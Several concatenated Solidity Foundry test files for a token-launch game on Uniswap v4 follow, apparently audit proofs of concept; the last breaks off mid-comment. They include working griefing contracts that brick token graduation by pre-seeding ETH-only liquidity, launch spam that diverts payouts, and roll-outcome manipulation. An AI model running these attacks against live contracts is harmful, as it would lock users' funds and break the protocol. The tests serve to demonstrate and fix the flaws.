// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys2 {
    uint256 public n;
    function setBlock(uint256 b) external { n = b; }
    function advance(uint256 k) external { n += k; }
    function arbBlockNumber() external view returns (uint256) { return n; }
    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev Anyone: initializes the PvP pool below the graduation price and parks ETH-only liquidity between
///      the initial price and the target. No token is needed (tokens are locked before graduation).
contract Griefer {
    using TransientStateLibrary for IPoolManager;
    IPoolManager immutable m;
    constructor(IPoolManager m_) { m = m_; }
    receive() external payable {}

    function park(PoolKey memory key, int24 lower, int24 upper, int256 liq) external payable {
        m.initialize(key, TickMath.getSqrtPriceAtTick(lower));
        m.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, int256 liq) = abi.decode(data, (PoolKey, int24, int24, int256));
        m.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
        int256 d0 = m.currencyDelta(address(this), key.currency0);
        require(m.currencyDelta(address(this), key.currency1) == 0, "token side needed");
        m.settle{value: uint256(-d0)}();
        return "";
    }
}

contract PreInitGriefTest is Test {
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    MockArbSys2 arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        vm.etch(address(0x64), address(new MockArbSys2()).code);
        arb = MockArbSys2(address(0x64));
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        pad = new PvPPad(OWNER, address(new PadToken()), address(new PadGame()));
        liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function test_parkedEthLiquidityBlocksGenesisGraduation() public {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a); genesis.mint();
        vm.prank(b); genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            vm.deal(a, 1 ether); vm.prank(a); genesis.roll{value: 0.002 ether}();
            vm.deal(b, 1 ether); vm.prank(b); genesis.roll{value: 0.002 ether}();
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        uint160 target = genesis.graduationSqrtPrice();
        int24 tTarget = TickMath.getTickAtSqrtPrice(target);
        int24 upper = (tTarget / 200) * 200 - 200; // strictly below target
        int24 lower = upper - 4_000; // ~1.5x lower price, still ETH-only
        PoolKey memory key = liq.poolKey(address(pvp));

        Griefer g = new Griefer(IPoolManager(address(manager)));
        vm.deal(address(g), 50 ether);
        uint256 before = address(g).balance;
        g.park(key, lower, upper, 8e23);
        emit log_named_uint("ETH parked by griefer (wei)", before - address(g).balance);

        vm.warp(genesis.endsBy());
        for (uint256 i; i < 40 && genesis.phase() < 3; i++) {
            try genesis.poke() {} catch {}
        }
        // Spec: graduation after the end is permissionless and always completes at the final curve price.
        assertTrue(pad.pvpDone(), "genesis never graduates: every launch, the king and burns stay closed");
        assertTrue(pvp.unlocked(), "PvP token stays locked");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/types/PoolId.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {FullMath} from "v4-core/libraries/FullMath.sol";
import {FixedPoint96} from "v4-core/libraries/FixedPoint96.sol";
import {StateLibrary} from "v4-core/libraries/StateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys {
    uint256 public n;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev A griefer that initializes the pool below the graduation price and parks ETH-only liquidity
///      between that price and the target. The ETH stays theirs (withdrawable), so the attack has no cost.
contract Griefer {
    IPoolManager public immutable manager;
    PoolKey key;
    uint160 initP;
    int24 lo;
    int24 hi;
    int256 liq;
    uint256 public ethUsed;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function attack(PoolKey memory k, uint160 initP_, int24 lo_, int24 hi_, int256 liq_) external {
        key = k;
        initP = initP_;
        lo = lo_;
        hi = hi_;
        liq = liq_;
        manager.unlock("");
    }

    function withdraw() external {
        liq = -liq;
        manager.unlock("");
    }

    function unlockCallback(bytes calldata) external returns (bytes memory) {
        if (initP != 0) {
            manager.initialize(key, initP);
            initP = 0;
        }
        (BalanceDelta d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(lo, hi, liq, bytes32(0)), "");
        if (d.amount0() < 0) {
            ethUsed = uint256(-int256(d.amount0()));
            manager.settle{value: ethUsed}();
        } else if (d.amount0() > 0) {
            manager.take(key.currency0, address(this), uint256(int256(d.amount0())));
        }
        require(d.amount1() == 0, "position must be ETH-only");
        return "";
    }
}

contract GraduationGriefTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    MockArbSys arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    KingOfThePad king;
    PadGame genesis;
    PadToken pvp;
    address imp = address(0xA001);

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        liq = new PadLiquidity(address(pad), address(manager));
        king = new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function _roll(address who) internal {
        vm.deal(who, who.balance + 0.002 ether);
        vm.prank(who);
        genesis.roll{value: 0.002 ether}();
    }

    function test_ethOnlyLiquidityBelowTargetBricksGraduation() public {
        vm.prank(OWNER);
        pad.openPad();
        vm.prank(imp);
        genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            _roll(imp);
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        uint256 curve = genesis.curveEth();
        assertGt(curve, 0);
        uint160 target = genesis.graduationSqrtPrice();
        uint256 tokens = pvp.balanceOf(address(genesis));

        // griefer: initialize at a quarter of the target price, ETH-only liquidity from there up to the target,
        // deep enough to absorb every token the pad will try to sell on its way up to the target.
        PoolKey memory key = liq.poolKey(address(pvp));
        uint160 cur = target / 2;
        int24 lo = TickMath.getTickAtSqrtPrice(cur);
        lo = (lo / 200 + 1) * 200;
        int24 hi = TickMath.getTickAtSqrtPrice(target);
        hi = (hi / 200 + 2) * 200;
        uint160 sqrtLo = TickMath.getSqrtPriceAtTick(lo);
        // delta token1 over [sqrtLo, target] = L * (target - sqrtLo) / Q96  ->  L = 2 * tokens * Q96 / (target - sqrtLo)
        uint256 L = FullMath.mulDiv(2 * tokens, FixedPoint96.Q96, target - sqrtLo);
        Griefer g = new Griefer(manager);
        vm.deal(address(g), 1_000 ether);
        g.attack(key, cur, lo, hi, int256(L));
        emit log_named_decimal_uint("griefer ETH parked (withdrawable)", g.ethUsed(), 18);
        emit log_named_decimal_uint("curve ETH at stake", curve, 18);

        // the game ends and is finalized, but the graduation step reverts every time it is tried
        vm.warp(genesis.endsBy());
        genesis.poke(); // resolve + finalize (no living imps: pot carried)
        assertEq(genesis.phase(), genesis.PHASE_PAYING());
        for (uint256 i; i < 5; i++) {
            try genesis.poke() {} catch {}
        }
        // EXPECTED: the launch graduates (phase 3) and the token unlocks.
        // ACTUAL: PadLiquidity._fullRangeLiquidity underflows once every token was sold into the griefer's
        //         ETH, so _graduate reverts; the game is stuck in PHASE_PAYING with the curve ETH inside it.
        assertEq(genesis.phase(), genesis.PHASE_GRADUATED(), "launch never graduates");
        assertTrue(pvp.unlocked(), "token never unlocks");
        assertEq(address(genesis).balance, 0, "curve ETH stuck in the game");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys {
    uint256 public n;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

contract LiveScanTest is Test {
    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    MockArbSys arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    KingOfThePad king;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        liq = new PadLiquidity(address(pad), address(manager));
        king = new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function _roll(PadGame g, address who) internal {
        vm.deal(who, who.balance + 0.002 ether);
        vm.prank(who);
        g.roll{value: 0.002 ether}();
    }

    function _graduateGenesis() internal {
        vm.prank(OWNER);
        pad.openPad();
        vm.prank(address(0xA000));
        genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            _roll(genesis, address(0xA000));
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        vm.warp(genesis.endsBy());
        for (uint256 i; i < 40 && genesis.phase() < 3; i++) {
            genesis.poke();
        }
        assertTrue(pad.pvpDone());
    }

    function test_freeLaunchSpamHidesLiveGamesFromKingSplit() public {
        _graduateGenesis();
        // attacker (anyone): 64 launches that never start. Cost: gas only, no ETH.
        address spammer = address(0xBAD);
        for (uint256 i; i < 64; i++) {
            vm.prank(spammer);
            pad.launch("spam", "SPAM", "");
        }
        // an honest launch with a live game
        (, address g) = pad.launch("Real", "REAL", "");
        vm.prank(address(0xA001));
        PadGame(g).mint();
        assertTrue(PadGame(g).isLive());
        uint256 potBefore = PadGame(g).pot();
        uint256 carryBefore = pad.carryPot();

        address alice = address(0xA11CE);
        vm.deal(alice, 1 ether);
        vm.prank(alice);
        king.takeCrown{value: 0.02 ether}();

        // EXPECTED (brief): 50% of the first bid (0.01 ETH) goes to the pots of live games -> the live game.
        // ACTUAL: liveGames() only scans the first 64 active entries, all spam; the split goes to the carry pot.
        assertEq(pad.liveGames(10).length, 1, "live game not found");
        assertEq(PadGame(g).pot() - potBefore, 0.01 ether, "live game did not get the split");
        assertEq(pad.carryPot(), carryBefore, "split leaked to carry");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys {
    uint256 public n;
    mapping(uint256 => bytes32) public forced;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function force(uint256 b, bytes32 h) external {
        forced[b] = h;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        bytes32 h = forced[b];
        return h == bytes32(0) ? keccak256(abi.encode("arb", b)) : h;
    }
}

contract SelectiveResolveTest is Test {
    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    MockArbSys arb;
    PvPPad pad;
    PadGame genesis;
    address a = address(0xA001);

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        PoolManager manager = new PoolManager(address(this));
        pad = new PvPPad(OWNER, address(new PadToken()), address(new PadGame()));
        PadLiquidity liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
    }

    function _roll(address who) internal {
        vm.deal(who, who.balance + 0.002 ether);
        vm.prank(who);
        genesis.roll{value: 0.002 ether}();
    }

    function _force(address imp, uint32 nonce, uint64 commit, int8 want) internal {
        bytes32 h1 = keccak256(abi.encode("arb", uint256(commit) + 1));
        bytes32 h2 = keccak256(abi.encode("arb", uint256(commit) + 2));
        for (uint256 s;; s++) {
            bytes32 h3 = keccak256(abi.encode("force", s));
            uint256 r = uint256(keccak256(abi.encode(address(genesis), imp, nonce, h1, h2, h3))) % 8;
            int8 d = r < 4 ? -int8(int256(4 - r)) : int8(int256(r - 3));
            if (d == want) {
                arb.force(uint256(commit) + 3, h3);
                return;
            }
        }
    }

    /// @dev One imp plays alone. Good outcomes are resolved at once (poke); bad outcomes are left alone until
    ///      the 256-block window passes, then resolve to 0. The imp only ever climbs.
    function test_playerChoosesWhichOutcomesCount() public {
        vm.prank(OWNER);
        pad.openPad();
        vm.prank(a);
        genesis.mint();
        vm.warp(genesis.playStart());
        int8[6] memory outcomes = [int8(4), -4, 3, -3, 2, -4];
        for (uint256 i; i < 6; i++) {
            _roll(a);
            uint64 commit = uint64(arb.n());
            PadGame.Imp memory im = genesis.getImp(a);
            _force(a, im.rolls, commit, outcomes[i]);
            arb.advance(4); // outcome is now determined and readable off-chain
            if (outcomes[i] > 0) {
                genesis.poke(); // good: lock it in
            } else {
                arb.advance(260); // bad: wait out the hash window (about a minute of L2 blocks), then poke
                vm.warp(block.timestamp + 65);
                genesis.poke();
            }
            vm.warp(block.timestamp + 61);
        }
        // EXPECTED: height = 4 - 4 + 3 - 3 + 2 - 4 = -2
        // ACTUAL: height = 4 + 3 + 2 = 9, every negative roll became 0
        assertEq(genesis.getImp(a).height, -2, "negative rolls were discarded by the player");
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/types/PoolId.sol";
import {StateLibrary} from "v4-core/libraries/StateLibrary.sol";
import {BalanceDelta} from "v4-core/types/BalanceDelta.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys {
    uint256 public n;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev A griefer: initializes the pool below the graduation price and parks ETH-only liquidity
///      in a range between its price and the target. It never needs a single launch token.
contract Griefer {
    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function initializeAt(PoolKey memory key, uint160 sqrtP) external {
        manager.initialize(key, sqrtP);
    }

    function addEthLiquidity(PoolKey memory key, int24 lower, int24 upper, int256 liq) external payable {
        manager.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, int256 liq) =
            abi.decode(data, (PoolKey, int24, int24, int256));
        (BalanceDelta d,) = manager.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
        require(d.amount1() == 0, "needs tokens"); // the range is entirely above the price: ETH only
        manager.settle{value: uint256(-int256(d.amount0()))}();
        return "";
    }
}

contract GraduationGriefTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    MockArbSys arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    KingOfThePad king;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        liq = new PadLiquidity(address(pad), address(manager));
        king = new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
        vm.prank(OWNER);
        pad.openPad();
    }

    function test_ethOnlyLiquidityBelowTargetBricksGraduation() public {
        // one imp, one roll: the curve holds 0.0018 ETH, the game holds ~999M tokens
        address imp = address(0xA000);
        vm.prank(imp);
        genesis.mint();
        vm.warp(genesis.playStart());
        vm.deal(imp, 1 ether);
        vm.prank(imp);
        genesis.roll{value: 0.002 ether}();
        arb.advance(5);

        // the game has ended; its graduation price is now fixed and public
        vm.warp(genesis.endsBy());
        uint160 target = genesis.graduationSqrtPrice();
        PoolKey memory key = liq.poolKey(address(pvp));

        // griefer: initialize 400 ticks below the target, park ETH in [target-200, target] (rounded to spacing)
        int24 tT = TickMath.getTickAtSqrtPrice(target);
        tT = (tT / 200) * 200;
        Griefer g = new Griefer(manager);
        vm.deal(address(g), 10 ether);
        g.initializeAt(key, TickMath.getSqrtPriceAtTick(tT - 400));
        // 1e25 liquidity over a 200-tick range at ~1e9 tokens/ETH costs ~3 ETH and absorbs ~3e27 tokens
        g.addEthLiquidity{value: 10 ether}(key, tT - 200, tT, 1e25);
        assertGt(address(g).balance, 5 ether); // the griefer parked only a few ETH, refundable any time

        // graduation step: finalize (poke 1) then graduate (poke 2) -> the swap consumes every token the
        // launch holds before reaching the target, tokens becomes 0 and _fullRangeLiquidity underflows
        genesis.poke();
        assertEq(genesis.phase(), genesis.PHASE_PAYING());
        // On the current code this poke reverts with panic 0x11 inside PadLiquidity._fullRangeLiquidity
        // (tokens == 0 -> l == 0 -> l - l/1e6 - 1 underflows), and keeps reverting while the griefer's
        // position exists: the genesis never graduates, pvpDone stays false, launch()/takeCrown() stay gated.
        // Expected: graduation must complete whatever a third party parked in the pool.
        genesis.poke();
        assertEq(genesis.phase(), genesis.PHASE_GRADUATED());
        assertTrue(pad.pvpDone());
        assertTrue(pvp.unlocked());
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

contract MockArbSys {
    uint256 public n;
    mapping(uint256 => bytes32) public forced;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function force(uint256 b, bytes32 h) external {
        forced[b] = h;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        bytes32 h = forced[b];
        return h == bytes32(0) ? keccak256(abi.encode("arb", b)) : h;
    }
}

contract BellOrderTest is Test {
    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;
    address constant A = address(0xA000);
    address constant B = address(0xA001);

    MockArbSys arb;
    PvPPad pad;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        PoolManager manager = new PoolManager(address(this));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        PadLiquidity liq = new PadLiquidity(address(pad), address(manager));
        new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
        vm.prank(OWNER);
        pad.openPad();
    }

    function _roll(address who) internal {
        vm.deal(who, who.balance + 0.002 ether);
        vm.prank(who);
        genesis.roll{value: 0.002 ether}();
    }

    /// @dev Forces the resolution of (imp, nonce) committed at `commit` to produce `want`.
    function _force(address imp, uint32 nonce, uint64 commit, int8 want) internal {
        bytes32 h1 = keccak256(abi.encode("arb", uint256(commit) + 1));
        bytes32 h2 = keccak256(abi.encode("arb", uint256(commit) + 2));
        for (uint256 s;; s++) {
            bytes32 h3 = keccak256(abi.encode("force", imp, nonce, s));
            uint256 r = uint256(keccak256(abi.encode(address(genesis), imp, nonce, h1, h2, h3))) % 8;
            int8 d = r < 4 ? -int8(int256(4 - r)) : int8(int256(r - 3));
            if (d == want) {
                arb.force(uint256(commit) + 3, h3);
                return;
            }
        }
    }

    function _rollForce(address who, int8 want) internal {
        _roll(who);
        PadGame.Imp memory im = genesis.getImp(who);
        _force(who, im.rolls, uint64(arb.n()), want);
    }

    function test_laterCommittedRollTakesTheBell() public {
        vm.prank(A);
        genesis.mint();
        vm.prank(B);
        genesis.mint();
        vm.warp(genesis.playStart());
        // both climb to 46 over 12 rounds (12 * 4 = 48 > 46, so use 11 rounds of +4 and one of +2)
        for (uint256 i; i < 11; i++) {
            _rollForce(A, 4);
            arb.advance(3);
            _rollForce(B, 4);
            arb.advance(4);
            genesis.poke();
            vm.warp(block.timestamp + 60);
        }
        _rollForce(A, 2);
        arb.advance(3);
        _rollForce(B, 2);
        arb.advance(4);
        genesis.poke();
        vm.warp(block.timestamp + 60);
        assertEq(genesis.getImp(A).height, 46);
        assertEq(genesis.getImp(B).height, 46);
        assertEq(genesis.bellRinger(), address(0));

        // A's +4 roll is committed at block c; B's +4 roll three blocks later at c+3
        _rollForce(A, 4);
        uint64 commitA = uint64(arb.n());
        arb.advance(3);
        _rollForce(B, 4);
        uint64 commitB = uint64(arb.n());
        assertLt(commitA, commitB);
        arb.advance(4); // both are now resolvable; A's is the older entry in the queue
        vm.warp(block.timestamp + 60);

        // B rolls again: roll() resolves B's own pending roll first (out of queue order) and rings the bell for B,
        // then B's new roll is still accepted even though the game has just ended.
        uint256 potBefore = genesis.pot();
        _roll(B);
        assertEq(genesis.getImp(A).height, 50);
        assertEq(genesis.getImp(B).height, 50);
        assertTrue(genesis.endedAt() != 0);
        assertEq(genesis.pot(), potBefore + 0.0002 ether); // a roll was paid for in an ended game
        assertEq(genesis.getImp(B).rolls, genesis.getImp(B).resolvedNonce + 1); // and queued
        // Expected: the bell belongs to the roll that reached +50 first (A, committed at the earlier block).
        assertEq(genesis.bellRinger(), A);
    }
}

// SPDX-License-Identifier: MIT
pragma solidity 0.8.26;

import {Test} from "forge-std/Test.sol";
import {PoolManager} from "v4-core/PoolManager.sol";
import {IPoolManager} from "v4-core/interfaces/IPoolManager.sol";
import {PoolKey} from "v4-core/types/PoolKey.sol";
import {PoolIdLibrary} from "v4-core/types/PoolId.sol";
import {Currency} from "v4-core/types/Currency.sol";
import {ModifyLiquidityParams} from "v4-core/types/PoolOperation.sol";
import {TickMath} from "v4-core/libraries/TickMath.sol";
import {StateLibrary} from "v4-core/libraries/StateLibrary.sol";
import {TransientStateLibrary} from "v4-core/libraries/TransientStateLibrary.sol";
import {PadToken} from "src/PadToken.sol";
import {PadGame} from "src/PadGame.sol";
import {PvPPad} from "src/PvPPad.sol";
import {PadLiquidity} from "src/PadLiquidity.sol";
import {KingOfThePad} from "src/KingOfThePad.sol";

/// @dev Local stand-in for the ArbSys precompile.
contract MockArbSys {
    uint256 public n;

    function setBlock(uint256 b) external {
        n = b;
    }

    function advance(uint256 k) external {
        n += k;
    }

    function arbBlockNumber() external view returns (uint256) {
        return n;
    }

    function arbBlockHash(uint256 b) external view returns (bytes32) {
        require(b < n && b + 256 >= n, "Invalid block number");
        return keccak256(abi.encode("arb", b));
    }
}

/// @dev A third party that initializes the pool first and parks an ETH-only position just above the
///      current price (no launch tokens are needed for that, so the transfer lock does not stop it).
contract Griefer {
    using TransientStateLibrary for IPoolManager;

    IPoolManager public immutable manager;

    constructor(IPoolManager m) {
        manager = m;
    }

    receive() external payable {}

    function initializeAt(PoolKey memory key, uint160 sqrtP) external {
        manager.initialize(key, sqrtP);
    }

    function addEthOnly(PoolKey memory key, int24 lower, int24 upper, int256 liq) external {
        manager.unlock(abi.encode(key, lower, upper, liq));
    }

    function unlockCallback(bytes calldata data) external returns (bytes memory) {
        (PoolKey memory key, int24 lower, int24 upper, int256 liq) =
            abi.decode(data, (PoolKey, int24, int24, int256));
        manager.modifyLiquidity(key, ModifyLiquidityParams(lower, upper, liq, bytes32(0)), "");
        int256 d0 = manager.currencyDelta(address(this), key.currency0);
        require(d0 < 0, "expected to owe ETH");
        manager.settle{value: uint256(-d0)}();
        int256 d1 = manager.currencyDelta(address(this), key.currency1);
        require(d1 == 0, "position must be ETH-only");
        return "";
    }
}

contract PreInitBrickTest is Test {
    using PoolIdLibrary for PoolKey;
    using StateLibrary for IPoolManager;

    address constant ARB = address(0x64);
    address constant OWNER = 0x5b95A971B4583A5f011E9DA082acdD679b870D06;

    MockArbSys arb;
    PoolManager manager;
    PvPPad pad;
    PadLiquidity liq;
    KingOfThePad king;
    PadGame genesis;
    PadToken pvp;

    function setUp() public {
        vm.warp(1_800_000_000);
        MockArbSys impl = new MockArbSys();
        vm.etch(ARB, address(impl).code);
        arb = MockArbSys(ARB);
        arb.setBlock(10_000);
        manager = new PoolManager(address(this));
        PadToken tokenTemplate = new PadToken();
        PadGame gameTemplate = new PadGame();
        pad = new PvPPad(OWNER, address(tokenTemplate), address(gameTemplate));
        liq = new PadLiquidity(address(pad), address(manager));
        king = new KingOfThePad(address(pad), address(liq));
        genesis = PadGame(pad.genesisGame());
        pvp = PadToken(pad.genesisToken());
    }

    function _roll(address who) internal {
        vm.deal(who, who.balance + 0.002 ether);
        vm.prank(who);
        genesis.roll{value: 0.002 ether}();
    }

    /// Genesis plays normally. Before it graduates, a third party initializes the ETH/PvP pool below the
    /// target price and parks ~1.3 ETH of ETH-only liquidity between that price and the target.
    /// Graduation's "swap the price to target" step then sells every remaining PvP token into that
    /// position before the price reaches the target, `tokens` becomes 0, `_fullRangeLiquidity` computes
    /// l = 0 and `l - l / 1_000_000 - 1` underflows. Every later poke reverts the same way, so the
    /// genesis game is stuck in PHASE_PAYING forever: PvP never unlocks, the curve ETH never reaches a
    /// pool, pvpDone is never set and launch()/takeCrown()/burnChunk() are gated off for good.
    /// Expected (what the test asserts): graduation completes and the game reaches PHASE_GRADUATED.
    function test_preInitializedPoolWithEthOnlyLiquidityBricksGraduation() public {
        vm.prank(OWNER);
        pad.openPad();
        address a = address(0xA001);
        address b = address(0xA002);
        vm.prank(a);
        genesis.mint();
        vm.prank(b);
        genesis.mint();
        vm.warp(genesis.playStart());
        for (uint256 r; r < 3; r++) {
            _roll(a);
            _roll(b);
            arb.advance(5);
            vm.warp(block.timestamp + 61);
        }
        uint160 target = genesis.graduationSqrtPrice();
        uint256 remaining = pvp.balanceOf(address(genesis));
        PoolKey memory key = liq.poolKey(address(pvp));

        // Third party: initialize ~10% below target (in sqrt terms), then add an ETH-only range that
